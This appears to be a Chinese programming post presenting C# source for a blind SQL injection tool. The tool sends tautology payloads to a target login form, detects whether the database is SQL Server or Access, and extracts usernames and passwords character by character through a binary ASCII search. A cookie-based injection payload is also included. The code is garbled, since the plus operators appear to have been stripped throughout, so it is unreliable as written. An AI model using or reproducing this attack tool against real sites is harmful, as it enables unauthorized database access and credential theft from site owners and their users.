利用HttpWebRequest和HttpWebResponse做黑客注射工具。
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
using System.Web;
namespace WindowsApplication1
{
class Http
{
#region 属性
private string _TableName; //----表名
public string TableName
{
get { return _TableName; }
set { _TableName = value; }
}
private string _UidFieldName; //-----用户字段名
public string UidFieldName
{
get { return _UidFieldName; }
set { _UidFieldName = value; }
}
private string _PwdFieldName; //-----密码字段名
public string PwdFieldName
{
get { return _PwdFieldName; }
set { _PwdFieldName = value; }
}
private int _UidLength; //------用户名长度
public int UidLength
{
get { return _UidLength; }
set { _UidLength = value; }
}
private int _PwdLength; //-------密码长度
public int PwdLength
{
get { return _PwdLength; }
set { _PwdLength = value; }
}
private string _dbType; //-------数据库类型
public string DbType
{
get { return _dbType; }
set { _dbType = value; }
}
private Uri _HackUrl; //-------网址
public Uri HackUrl
{
get { return _HackUrl; }
set { _HackUrl = value; }
}
private int _FieldNum; //-----字段数量
public int FieldNum
{
get { return _FieldNum; }
set { _FieldNum = value; }
}
private string _User; //-----用户名结果
public string User
{
get { return _User; }
set { _User = value; }
}
private string _Pwd; //------密码结果
public string Pwd
{
get { return _Pwd; }
set { _Pwd = value; }
}
private const string Uid = "Hacking";
#endregion
public delegate void ChangeCallBack(string msg);
public ChangeCallBack CallBack;
#region 开始Hacking探测
public void Hacking()
{
//------------------------------------检测是否存在注入------------------------------------------------------
if (CheckSql())
{
CallBack("此地址存在注射漏洞!");
}
else
{
CallBack("此地址不存在注射漏洞!");
return;
}
//------------------------------------检测数据库类型-----------------------------------------------------
CheckDataBase();
//-------------------------------------检测字段长度------------------------------------------------------
//----检测用户名字段长度
UidLength = CheckFieldLength("用户名字段", UidFieldName);
if (UidLength > 0)
{
CallBack("【探测结束】-->用户名字段长度:" UidLength);
}
else
{
CallBack("【探测结束】-->用户名字段长度:" UidLength "--->出现异常,请联系软件作者!");
return;
}
//----检测密码字段长度
PwdLength = CheckFieldLength("密码字段", PwdFieldName);
if (UidLength > 0)
{
CallBack("【探测结束】-->密码字段长度:" PwdLength);
}
else
{
CallBack("【探测结束】-->密码字段长度:" PwdLength "--->出现异常,请联系软件作者!");
return;
}
//-------------------------------------开始检测字段值结果-------------------------------------------
//---------检测用户名字段值
User = GetFieldValue("用户名字段", UidLength, UidFieldName);
if (User.Length > 0)
{
CallBack("【探测结束】--->用户名字段值结果为:" User);
}
else
{
CallBack("【探测结束】--->用户名字段值结果为:" User "---->出现异常,请联系软件作者");
}
//--------检测密码字段值
Pwd = GetFieldValue("密码字段", PwdLength, PwdFieldName);
if (Uid.Length > 0)
{
CallBack("【探测结束】--->密码字段值结果为:" Pwd);
}
else
{
CallBack("【探测结束】--->密码字段字段值结果为:" Pwd "---->出现异常,请联系软件作者");
}
}
#endregion
#region HttpWebRequest发送接收过程
public string StartHack(string sql)
{
HttpWebRequest HttpReq = (HttpWebRequest)WebRequest.Create(HackUrl);
HttpReq.Method = "POST";
HttpReq.Accept = "*/*";
HttpReq.KeepAlive = true;
HttpReq.ContentType = "application/x-www-form-urlencoded";
HttpReq.Headers.Add("Accept-Language", "zh-cn");
HttpReq.Headers.Add("Accept-Encoding", "gzip, deflate");
//HttpReq.CookieContainer = SqlCookie; //--------设置Cookie
//HttpReq.Headers.Add("Cache-Control", "no-cache");
HttpReq.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)";
Encoding Encode = Encoding.GetEncoding("GB2312");
byte[] SendByte = Encode.GetBytes(sql);
HttpReq.ContentLength = SendByte.Length;
//-----Post提交需要一个流对象,Get则不用
try
{
using (Stream reqStream = HttpReq.GetRequestStream())
{
reqStream.Write(SendByte, 0, SendByte.Length);
}
}
catch
{
return "";
}
try
{
using (HttpWebResponse HttpRes = (HttpWebResponse)HttpReq.GetResponse())
{
HttpRes.StatusCode.ToString();
Stream GetStream = HttpRes.GetResponseStream();
string GetStr = "";
StreamReader ReadStream = new StreamReader(GetStream, Encode);
GetStr = ReadStream.ReadToEnd();
return GetStr;
}
}
catch(Exception ex)
{
return "";
}
}
#endregion
#region 设置Cookies值
protected CookieContainer SetCookie()
{//---------设置Cookie
CookieContainer HackSql = new CookieContainer();
Cookie HackCookie = new Cookie("txtUser", "admin' or 1=1 And ''='");
HackCookie.Domain = "http://localhost/modipass.asp";
HackSql.Add(HackCookie);
return HackSql;
}
#endregion
#region 把注射语句Url编码掉
protected string SetSqlStr(string str)
{
StringBuilder sb = new StringBuilder();
sb.Append("txtNewPass=Hack&txtConfigPass=Hack&txtPass=OldHack&");
sb.Append("txtUser=" Uid "' ");
sb.Append(HttpUtility.UrlEncode(str));
sb.Append(HttpUtility.UrlEncode(" And ''='"));
return sb.ToString();
}
#endregion
#region 检测是否存在注射漏洞
public bool CheckSql()
{//-----------检测是否存在注入
bool IsSucc = false;
string sql = " Or 1=1 ";
sql = SetSqlStr(sql);
string First = StartHack(sql);
sql = " Or 1=2 ";
sql = SetSqlStr(sql);
string Second = StartHack(sql);
if (!First.Equals(Second))
{
IsSucc = true;
}
return IsSucc;
}
#endregion
#region 判断数据库类型
protected void CheckDataBase()
{//-------------判断数据库类型
string RightMsg = StartHack(SetSqlStr("Or 1=1 "));
string sql = " Or (select count(*) from sysobjects)>0 ";
sql = SetSqlStr(sql);
string First = StartHack(sql);
if(First.Equals(RightMsg))
{
DbType = "SQL";
CallBack("恭喜,此数据库是SQL Server的数据库!");
}
else
{
DbType = "Access";
CallBack("数据库类型为:Access");
}
}
#endregion
#region 检测字段长度
protected int CheckFieldLength(string msg,string FieldName)
{//----------------检测字段长度
CallBack("开始探测" msg "字段长度。。。。。");
string ErrorMsg = StartHack(SetSqlStr("Or 1=1 "));
bool IsSucc = false;
int i = 0;
string SuccMsg = "";
while (!IsSucc)
{
i ;
SuccMsg = StartHack(SetSqlStr("or (select top 1 len(" FieldName ") From " TableName ")>" i.ToString()));
if (!SuccMsg.Equals(ErrorMsg))
{
break;
}
}
return i;
}
#endregion
#region 开始探测字段结果
protected string GetFieldValue(string msg,int fieldlength,string fieldname)
{
CallBack("开始探测" msg "字段值。。。。。");
string ErrorMsg = StartHack(SetSqlStr("Or 1=2 ")); //--------猜测错误的提示
bool IsSucc = false; //----检测是否成功
StringBuilder sb = new StringBuilder();
string SuccMsg = ""; //----------猜测正确的提示
for (int y = 1; y <= fieldlength; y )
{
int i = 128 / 2; //---Ascii码除以2,对半猜,提高效力
int StartI = 0; //---用来记录上次猜解的数字
IsSucc = false;
while (!IsSucc)
{
//----------首先判断是不是刚好等于这个值
#region 判断数据库类型,SQL语句不一样
if (DbType == "Access")
{
SuccMsg = StartHack(SetSqlStr("or (select top 1 asc(mid(" fieldname "," y ",1)) from " TableName ")=" i));
}
else
{
SuccMsg = StartHack(SetSqlStr("or (select top 1 ASCII(substring(" fieldname "," y ",1)) from " TableName ")=" i));
}
#endregion
if (!SuccMsg.Equals(ErrorMsg))
{
sb.Append((char)i);
break;
}
#region 判断数据库类型,SQL语句不一样
if (DbType == "Access")
{
SuccMsg = StartHack(SetSqlStr("or (select top 1 asc(mid(" fieldname "," y ",1)) from " TableName ")>" i));
}
else
{
SuccMsg = StartHack(SetSqlStr("or (select top 1 ASCII(substring(" fieldname "," y ",1)) from " TableName ")>" i));
}
#endregion
if (!SuccMsg.Equals(ErrorMsg))
{//-------------如果不等于ErrorMsg错误信息,则证明此次注射是对的
int temp = i;
int temp1 = ((i - StartI) < 0) ? -(i - StartI) : i - StartI;
i = (i (temp1 / 2));
StartI = temp;
}
else
{//-------------如果等于ErrorMsg错误信息,则证明此次注射是错的
int temp = i;
int temp1 = ((i - StartI) < 0) ? -(i - StartI) : i - StartI;
i = (i - (temp1 / 2));
StartI = temp;
}
}
CallBack("探测" msg "结果:" sb.ToString());
}
return sb.ToString();
}
#endregion
}
}